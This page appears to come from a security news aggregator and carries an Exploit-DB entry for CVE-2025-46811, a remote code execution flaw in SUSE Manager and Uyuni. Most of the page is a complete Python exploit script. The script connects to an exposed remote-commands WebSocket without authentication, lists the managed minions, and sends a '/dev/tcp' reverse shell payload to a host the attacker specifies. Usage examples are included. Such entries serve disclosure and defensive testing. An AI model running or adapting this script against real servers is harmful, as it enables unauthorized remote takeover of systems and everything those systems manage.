Security News

Cybersecurity news aggregator

🔓
HIGH Vulnerabilities Exploit-DB

[webapps] SUSE Manager 4.3.15 - Code Execution

A critical vulnerability (CVE-2025-46811, CVSS 9.8) in SUSE Manager and Uyuni allows unauthenticated remote code execution via a crafted payload sent to a vulnerable WebSocket endpoint. The exploit delivers a reverse shell to the attacker's specified host. Affected versions include Uyuni 2025.05, SUSE Manager 5.0.4, and SUSE Manager 4.3.15.
Read Full Article →

This website uses cookies We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you’ve provided to them or that they’ve collected from your use of their services. You consent to our cookies if you continue to use our website. Show details Allow all cookies Use necessary cookies only EXPLOIT DATABASE EXPLOITS GHDB PAPERS SHELLCODES SEARCH EDB SEARCHSPLOIT MANUAL SUBMISSIONS ONLINE TRAINING SUSE Manager 4.3.15 - Code Execution EDB-ID: 52527 CVE: 2025-46811 EDB Verified: Author: WJMAJ98 Type: WEBAPPS Exploit: / Platform: MULTIPLE Date: 2026-04-30 Vulnerable App: # Exploit Title: SUSE Manager 4.3.15 - Code Execution # Date: 29.01.2026 # Exploit Author: Wiktor Maj # Vendor Homepage: https://www.uyuni-project.org/ # Software Link: https://github.com/uyuni-project/uyuni # Version: Uyuni 2025.05, SUSE Manager 5.0.4, SUSE Manager 4.3.15 # Tested on: Debian 12 (bookworm), Python 3.11.2 with websocket-client 1.9.0 # CVE: CVE-2025-46811 # Sends a reverse shell payload to the vulnerable WebSocket of either SUSE Manager or Uyuni. # Set up a listener session in a separate terminal. # After the payload is sent, switch to your listener terminal to check if a shell pops up. # Example: # python3 cve-2025-46811.py --ip 192.168.10.126 --port 443 --host-ip 192.168.10.113 --host-port 9001 --ssl #### PROGRAM CONSTRAINTS #### PAYLOAD = f"sh -i >& /dev/tcp/HOST_IP/HOST_PORT 0>&1" # reverse shell payload, HOST_IP and HOST_PORT will be substituted with CLI args CONNECTION_RETRIES = 4 # number of connection attempts CONNECTION_DELAY_BETWEEN_RETRIES = 15 # seconds WEBSOCKET_TIMEOUT = 10 # seconds ############################## import argparse import json import socket import ssl import sys import time import websocket def parse_args() -> argparse.Namespace: parser = argparse.ArgumentParser(description="Implementation of CVE-2025-46811 exploit for SUSE Manager & Uyuni.", add_help=False) parser.add_argument("-h", "--help", action="help", default=argparse.SUPPRESS, help="Display this help text and exit.") parser.add_argument("--ip", required=True, help="Victim IPv4 or hostname.") parser.add_argument("--port", type=int, default=443, help="Victim port (default: 443).") parser.add_argument("--host-ip", required=True, help="Attacker host IPv4 or hostname.") parser.add_argument("--host-port", type=int, required=True, help="Attacker host port.") group = parser.add_mutually_exclusive_group() group.add_argument("--ssl", dest="ssl", action="store_true", help="Use SSL/TLS for the WebSocket connection (default).") group.add_argument("--no-ssl", dest="ssl", action="store_false", help="Disable SSL/TLS and use plaintext WebSocket.") parser.set_defaults(ssl=True) return parser.parse_args() def resolve_target(hostname: str) -> str: return socket.gethostbyname(hostname) def receive_preview_minions_message(websocket_connection: websocket.WebSocket) -> str: while True: try: message = websocket_connection.recv() if message: print("Received:", message) if isinstance(message, bytes): message = message.decode("utf-8", errors="replace") return message except websocket.WebSocketTimeoutException as exception: raise RuntimeError("Failed to receive preview minions message") from exception def decode_preview_minions_message(message: str) -> list[str]: try: preview_output = json.loads(message) except json.JSONDecodeError as exception: raise RuntimeError("Preview response is not valid JSON") from exception if ( isinstance(preview_output, dict) and isinstance(preview_output.get("minions"), list) and preview_output["minions"] and all(isinstance(entity, str) for entity in preview_output["minions"]) ): return preview_output["minions"] raise RuntimeError("Preview response expected non-empty 'minions' list") def receive_preview_minions(websocket_connection: websocket.WebSocket) -> list[str]: message = receive_preview_minions_message(websocket_connection) minions = decode_preview_minions_message(message) return minions def select_minion(minions: list[str]) -> str: print("Available minions:") for minion_id, minion_name in enumerate(minions, start=1): print(f"{minion_id}) {minion_name}") prompt = "Select minion number (default is '1', or 'c' to cancel): " while True: choice = input(prompt).strip() if choice == "": return minions[0] if choice.lower() == "c": print("No minion selected. Exiting.") sys.exit(0) if choice.isdigit(): index = int(choice) if 1 <= index <= len(minions): return minions[index - 1] print("Invalid selection.") def connect_to_websocket(target_ip: str, port: int, use_ssl: bool, sslopt: dict, ) -> websocket.WebSocket: scheme = "wss" if use_ssl else "ws" try: return websocket.create_connection( f"{scheme}://{target_ip}:{port}/rhn/websocket/minion/remote-commands", timeout=WEBSOCKET_TIMEOUT, sslopt=sslopt, ) except ssl.SSLError as exception: if "WRONG_VERSION_NUMBER" in str(exception): raise RuntimeError("Websocket seems to be unsecured, try with --no-ssl") from exception raise except websocket.WebSocketBadStatusException as exception: if exception.status_code == 400: raise RuntimeError("Websocket seems to be secured, try with --ssl") from exception raise except TimeoutError as exception: raise RuntimeError("Websocket is likely under firewall") from exception def get_minions(target_ip: str, port: int, use_ssl: bool, ) -> tuple[websocket.WebSocket, list[str]]: sslopt = {"cert_reqs": ssl.CERT_NONE, "check_hostname": False} for attempt in range(1, CONNECTION_RETRIES + 1): websocket_connection = None try: websocket_connection = connect_to_websocket(target_ip, port, use_ssl, sslopt) websocket_connection.send(json.dumps({"preview": True, "target": "*"})) minions = receive_preview_minions(websocket_connection) return websocket_connection, minions except ( websocket.WebSocketTimeoutException, websocket.WebSocketConnectionClosedException, ): if websocket_connection is not None: websocket_connection.close() if attempt == CONNECTION_RETRIES: break time.sleep(CONNECTION_DELAY_BETWEEN_RETRIES) raise RuntimeError("Target websocket is not vulnerable or not reachable") def send_payload(websocket_connection: websocket.WebSocket, target: str) -> None: payload = PAYLOAD.replace("HOST_IP", args.host_ip).replace("HOST_PORT", str(args.host_port)) websocket_connection.send(json.dumps({"preview": False, "target": target, "command": payload})) if __name__ == "__main__": args = parse_args() websocket_connection = None try: websocket_connection, minions = get_minions( target_ip=resolve_target(args.ip), port=args.port, use_ssl=args.ssl, ) selected_minion = select_minion(minions) send_payload(websocket_connection, selected_minion) print("Payload sent, closing.") finally: if websocket_connection is not None: websocket_connection.close() Copy Tags: Advisory/Source: Link Databases Links Sites Solutions Exploits Search Exploit-DB OffSec Courses and Certifications Google Hacking Submit Entry Kali Linux Learn Subscriptions Papers SearchSploit Manual VulnHub OffSec Cyber Range Shellcodes Exploit Statistics Proving Grounds Penetration Testing Services EXPLOIT DATABASE BY OFFSEC TERMS PRIVACY ABOUT US FAQ COOKIES © OffSec Services Limited 2026. All rights reserved.

Share this article